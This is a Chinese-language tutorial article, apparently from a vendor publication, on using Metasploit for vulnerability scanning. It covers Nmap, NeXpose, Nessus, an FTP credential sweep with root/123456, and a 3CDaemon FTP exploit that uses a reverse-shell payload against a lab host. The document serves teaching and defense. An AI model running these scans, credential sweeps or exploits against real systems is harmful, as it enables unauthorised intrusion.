Metasploit与漏洞扫描

http://www.h3c.com.cn/About_H3C/Company_Publication/IP_Lh/2013/03/Home/Catalog/201307/790128_30008_0.htm

漏洞,是指在硬件软件、协议实现或系统安全策略上存在缺陷,攻击者能够在未授权的情况下对系统进行访问或破坏。它会成为入侵者侵入系统和植入恶意软件的入口,影响系统用户的切身利益。漏洞与目标系统的操作系统版本、软件版本以及服务设置密切相关。研究漏洞必须要了解当前计算机系统及其安全问题的最新发展动态。常见的漏洞包括缓冲区溢出漏洞、跨站脚本漏洞(XSS)、SQL注入漏洞、数据库漏洞以及WEB应用漏洞等。

常见的漏洞发掘方法分为以下几种。

m  黑盒攻击(Fuzzing):即通过注入数据进行自动化测试。

m  获取攻击对象的源代码进行审计:网络上有很多源代码审计工具可供使用,如Fortify。

m  反汇编审计:如果无法获取到源代码,可以基于汇编码进行反汇编审计。IDA是一款常用的反汇编软件。

m  动态跟踪分析:通过记录程序在不同条件下执行操作(如文件操作),分析这些操作序列是否存在问题。

m  补丁比较:厂商软件的问题通常都会在补丁中解决,如微软的Windows操作系统会不定期发布补丁程序,通过对比补丁前后文件的源码(或反汇编码)就能了解漏洞的具体细节。

目前,针对常用的漏洞发掘方法已经开发出了很多漏洞扫描工具。漏洞扫描工具是一种能在计算机、信息系统、网络及应用软件中查找安全弱点的程序。通过对目标系统进行探测,向目标系统发送数据,并将反馈结果与漏洞特征库进行匹配,分析出目标系统上存在的安全漏洞。比较常用的漏洞扫描工具有Metasploit、Nmap、NeXpose、Nessus、Xscan等。

二 Metasploit Framework工具简介

Metasploit Framework是一个强大的开源平台,为渗透测试、shellcode 编写和漏洞研究提供了一个可靠环境。它集成了各种常见的溢出漏洞和shellcode ,并且不断更新。当前版本收集了上千个实用的溢出攻击程序及一些辅助工具,操作简单,易用性好。当然,它不只是一个简单的收集工具,还提供了所有的类和方法,以便开发人员使用这些代码方便快速的进行二次开发。漏洞扫描只是Metasploit Framewotk众多功能中的一种,本文只介绍它的漏洞扫描功能。  

Metasploit Framework的总体架构如图1所示,它包含Exploit、Auxiliary、Payload等多个模块:

m  Exploit是攻击模块,基本上目前所有的操作系统在Metasploit Framework上均有对应的攻击模块;

m  Auxiliary是辅助模块,用途非常广泛,它可以作为扫描器、拒绝服务攻击工具、Fuzz测试器,以及其他类型的工具;

m  Payload是在目标系统被攻陷之后执行的代码,如添加用户账号,获取shell交互权限等;

Metasploit与漏洞扫描_第1张图片

                                                                                          图1 Metasploit Framework整体架构

三 Metasploit的几种漏洞扫描组件

1      Nmap

Nmap适用于Winodws、Linux、Mac等操作系统。它用于主机发现、端口发现或枚举、服务发现,检测操作系统、硬件地址、软件版本以及脆弱性的漏洞。Metasploit Framework平台集成了Nmap组件。通常在对目标系统发起攻击之前需要进行一些必要的信息收集,如获取网络中的活动主机、主机开放的端口等。

Nmap扫描存活主机及主机运行的服务:

nmap -P0 192.168.20.1-10,扫描结果显示网络中活动的主机有7台,且列举出了每台主机运行的服务及主机MAC地址。

msf > nmap -P0 192.168.20.1-10

[*] exec: nmap -P0 192.168.20.1-10

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:47 ????????????

Nmap scan report for 192.168.20.1

Host is up (0.00014s latency).

Not shown: 995 closed ports

PORT      STATE    SERVICE

23/tcp    open     telnet

80/tcp    open     http

MAC Address: 00:0F:E2:69:5D:E2 (Hangzhou H3C Technologies Co.)

 

……

 

Nmap scan report for 192.168.20.4

Host is up (0.0098s latency).

Not shown: 986 closed ports

PORT      STATE SERVICE

21/tcp    open  ftp

80/tcp    open  http

135/tcp   open  msrpc

443/tcp   open  https

445/tcp   open  microsoft-ds

902/tcp   open  iss-realsecure

912/tcp   open  apex-mesh

3389/tcp  open  ms-wbt-server

MAC Address: 68:05:CA:0E:BF:59 (Intel)

 

……

Nmap done: 10 IP addresses (7 hosts up) scanned in 17.53 seconds

msf >

Nmap扫描操作系统和服务软件版本信息:

msf > nmap -A -T4 192.168.20.4,Nmap显示的扫描结果相当详细,列出了目标服务器192.168.20.4上运行的操作系统是微软的Windows 7或者Windows 2008,提供FTP服务的软件是3Com 3CDaemon FTP Server,版本号为2.0,并且使用匿名账号anonymous可以登陆成功。

msf > nmap -A -T4 192.168.20.4

[*] exec: nmap -A -T4 192.168.20.4

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:54 ????????????

Nmap scan report for 192.168.20.4

Host is up (0.0074s latency).

Not shown: 986 closed ports

PORT      STATE SERVICE         VERSION

21/tcp    open  ftp             3Com 3CDaemon ftpd 2.0

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_ftp-bounce: bounce working!

80/tcp    open  http            HttpFileServer httpd 1.5g

|_http-title: JAX SERVER- /

135/tcp   open  msrpc           Microsoft Windows RPC

443/tcp   open  ssl/http        VMware VirtualCenter Web service

445/tcp   open  netbios-ssn

902/tcp   open  ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

912/tcp   open  vmware-auth     VMware Authentication Daemon 1.0 (Uses VNC, SOAP)

3389/tcp  open  ms-wbt-server   Microsoft Terminal Service

MAC Address: 68:05:CA:0E:BF:59 (Intel)

Device type: general purpose

Running: Microsoft Windows 7|2008

TRACEROUTE

HOP RTT     ADDRESS

1   7.38 ms 192.168.20.4

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 203.48 seconds

msf >

2      NeXpose

NeXpose通过扫描网络,可以查找出网络上正在运行的设备,并识别出设备的操作系统和应用程序的漏洞,并对扫描出的数据进行分析和处理,生成漏洞扫描报告。

首先,如图2所示,在Metasploit Framework中加载NeXpose插件:

Metasploit与漏洞扫描_第2张图片

                                                                                                     图2 加载NeXpose插件

使用nexpose_scan命令对目标主机进行漏洞扫描:

msf > nexpose_scan 192.168.20.4

[*]Scanning 1 address with template pentest-audit in sets of 32

[*]Completed the scan of 1 address

msf >

查看漏洞扫描结果,扫描程序发现了7个漏洞:

msf > db_hosts –c address

Hosts

=====

 

address       Svcs       Vulns        Workspace

-------       ----       -----        ---------

192.168.20.4  8          7             default

msf>

输入db_vulns可以显示已发现漏洞的详细情况:

msf > db_vulns

[*]Time Mon Jun 2013:10:31 UTC 2010 vuln: host=192.168.20.4 port=445proto=tcp name=Nss-26920refs=CVE-1999-0519,CVE-2002-1117,BID-494,OSVDB-299

       ……

For the sake of brevity,we will just let db_autopwn exploit the low-hanging fruit for us and only run exploit with at least a “good” rating

msf >

3      Nessus

Nessus是当前使用最广泛的漏洞扫描工具之一。Nessus采用client/sever模式,服务器端负责进行安全检查,客户端用来配置管理服务器端。在服务端还采用了plug-in的体系,允许用户加入执行特定功能的插件,这插件可以进行更快速和更复杂的安全检查。

如图3所示,在Metasploit Framework中加载Nessus插件:

                                                                                                    图3    加载Nessus插件

创建扫描任务:

msf > nessus_scan_new 2 test_scan 192.168.20.4

[*]Creating scan from policy number 2,called “test_scan” and scanning 192.168.20.4

[*]Scan started.uid is d2f1fc02-3b50-4e4e-ab8f-q12jsiey8209384ndjsieksjfdjieb

msf>

查看扫描运行状态,“No Scans Running”表示扫描已完成:

msf > db_hosts –c address

[*] No Scans Running

msf>

查看扫描结果,扫描程序发现345个漏洞:

msf > db_hosts –c address,svcs,vulns

Hosts

=====

 

address       Svcs       Vulns

-------       ----       -----

192.168.20.4  18         345

msf>

从扫描结果可以看出,对同一个目标主机进行扫描,Nessus扫描出的漏洞数量与NeXpose扫描出的数量有明显的差异。通过对不同工具的扫描结果进行对比分析,对了解扫描工具本身,和更精确地确定目标系统存在的漏洞都是非常有帮助的。

4      Metasploit的专用FTP扫描器

除了集成的扫描工具,Metasploit自带的辅助模块,可以针对网络中特定的漏洞进行扫描。下面以FTP扫描为例,介绍Metasploit自带扫描器的使用方法。

选择ftp_login模块,扫描网段192.168.20.1-10中能使用固定用户名和密码root/123456登陆主机:

msf > use auxiliary/scanner/ftp/ftp_login

msf  auxiliary(ftp_login) > set USERNAME root

USERNAME => root

msf  auxiliary(ftp_login) > set PASSWORD 123456

PASSWORD => 123456

msf  auxiliary(ftp_login) > set RHOSTS 192.168.20.1-10

RHOSTS => 192.168.20.1-10

msf  auxiliary(ftp_login) > run

[*] 192.168.20.1:21 - Starting FTP login sweep

[*] Connecting to FTP server 192.168.20.1:21...

……

[*] 192.168.20.1:21 FTP - [1/1] - Attempting FTP login for 'root':'123456'

[+] 192.168.20.1:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.1:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.4:21...

[*] Connected to target FTP server.

[+] 192.168.20.4:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.4:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.6:21...

[*] Connected to target FTP server.

[+] 192.168.20.6:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.6:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.9:21...

[*] Connected to target FTP server.

[+] 192.168.20.9:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.9:21 - User 'root' has READ/WRITE access

[*] Scanned 10 of 10 hosts (100% complete)

[*] Auxiliary module execution completed

查看输出结果,10个IP中有4台FTP Server均能使用root/123456账号登陆,并且含有读写权限。通常在公司内网里,很多人习惯使用简单的账号,没有足够的安全意识,当攻击者成功入侵内网后,这些工作站将非常危险。

四Metasploit的一个攻击实例

漏洞扫描仅仅是Metasploit Framework强大功能的冰山一角,下面简单说明一下Metasploit执行一次攻击测试的方法。利用上面Nmap的扫描结果,选取192.168.20.4上所运行的3Com 3CDaemon FTP Server为攻击目标。通过前面的扫描可以得到目标主机运行的操作系统及应用程序版本的详细信息,如图4所示,在Metasploit Framework里搜索针对3CDaemon的攻击脚本:

Metasploit与漏洞扫描_第3张图片

                                                                                        图4  搜索针对3CDaemon的攻击脚本

use命令进入搜索到的exploit:

msf > use exploit/windows/ftp/3cdaemon_ftp_user

msf  exploit(3cdaemon_ftp_user) >

Set RHOST命令设置攻击目标机的IP地址:

msf  exploit(3cdaemon_ftp_user) > set RHOST 192.168.20.4

RHOST => 192.168.20.4

Set target命令设置目标机的操作系统类型:

msf  exploit(3cdaemon_ftp_user) > set target 4

target => 4

设置完成之后, show options显示设置好的参数信息:

msf  exploit(3cdaemon_ftp_user) > show options

 

Module options (exploit/windows/ftp/3cdaemon_ftp_user):

   Name     Current Setting      Required  Description

----     ---------------      --------  -----------

FTPPASS  [email protected]  no        The password for the specified username

FTPUSER  anonymous              no        The username to authenticate as

RHOST    192.168.20.4          yes        The target address

RPORT    21                      yes        The target port

 

Payload options (windows/shell_reverse_tcp):

Name      Current Setting  Required  Description

----      ---------------  --------  -----------

EXITFUNC  seh                yes       Exit technique: seh, thread, process, none

LHOST     192.168.20.67     yes       The listen address

LPORT     4444                yes       The listen port

 

Exploit target:

Id  Name

--  ----

4   Windows XP English SP3

输入exploit命令,开始攻击:

msf  exploit(3cdaemon_ftp_user) > exploit

 [*] Started reverse handler on 192.168.20.67:4444

[*] Trying target Windows XP English SP3...

msf  exploit(3cdaemon_ftp_user) >

如图5所示查看目标机3CDaemon FTP软件显示崩溃,攻击成功!

Metasploit与漏洞扫描_第4张图片

                                                                                                  图5  3CDaemon FTP崩溃

分析抓包结果,可以看出该FTP攻击脚本是利用超长用户名(如图6所示)导致FTP Server崩溃的。

Metasploit与漏洞扫描_第5张图片

                                                                                                             图6   抓包结果

五 结束语

避免黑客攻击,部署专门的漏洞检测防御系统是非常必要的。Metasploit提供了丰富的扫描功能、攻击脚本及二次开发的平台,使网络安全漏洞检测变得相对容易。H3C的IPS(Intrusion Prevention System)采用系统的防御方法,结合智能的规则识别技术可以对各种漏洞攻击进行有效的防御。为应对技术的更新,H3C攻防团队会主动关注网络上新的攻击方式,并将分析结果及时添加到IPS特征库中供客户升级使用。对于系统维护者来说,积极主动的查找漏洞并打上相应补丁,同时结合专业的防御设备进行入侵防御,毫无疑问是维护系统安全的最佳方法。


你可能感兴趣的:(网络)